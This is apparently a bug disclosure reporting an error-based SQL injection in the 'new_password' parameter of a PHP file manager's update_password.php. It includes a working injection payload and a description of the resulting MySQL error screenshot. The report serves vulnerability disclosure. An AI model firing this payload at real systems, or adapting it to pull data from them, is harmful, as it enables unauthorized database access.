

BUG\_Author:GZR1

Vulnerability File: /file\_manager/register/update\_password.php

POST parameter 'new\_password' exists SQL injection vulnerability

Payload: new\_password=1' and (select 2 from(select count(),concat(0x712627287273,(select (elt(3=3,1))),0x616263,floor(rand(0)\*2))x from information\_schema.plugins group by x)x)-- x

Error-based sql injection is successful, proving that there is a sql injection vulnerability

The screenshot shows a web browser window with the address bar displaying `localhost/file_manager/register/update_password.php`. The main content area displays a **Fatal error**: Uncaught mysqli\_sql\_exception: Duplicate entry 'q&'(rs1abc1' for key 'group\_key' in C:\xampp\htdocs\file\_manager\register\update\_password.php(5): mysqli\_query(Object(mysqli), 'update staff se...') #1 {main} thrown in C:\xampp\htdocs\file\_manager\register\update\_password.php on line 5.

Below the error message is a network inspector panel. The 'Post data' tab is selected, showing the following payload:

```
new_password=1' and (select 2 from(select count(*),concat(0x712627287273,(select (elt(3=3,1))),0x616263,floor(rand(0)*2))x from information_schema.plugins group by x)x)-- x
```

On the right side of the network inspector, there are two headers listed:

- H Sec-Fetch-User: ?1
- H Sec-Fetch-Site: none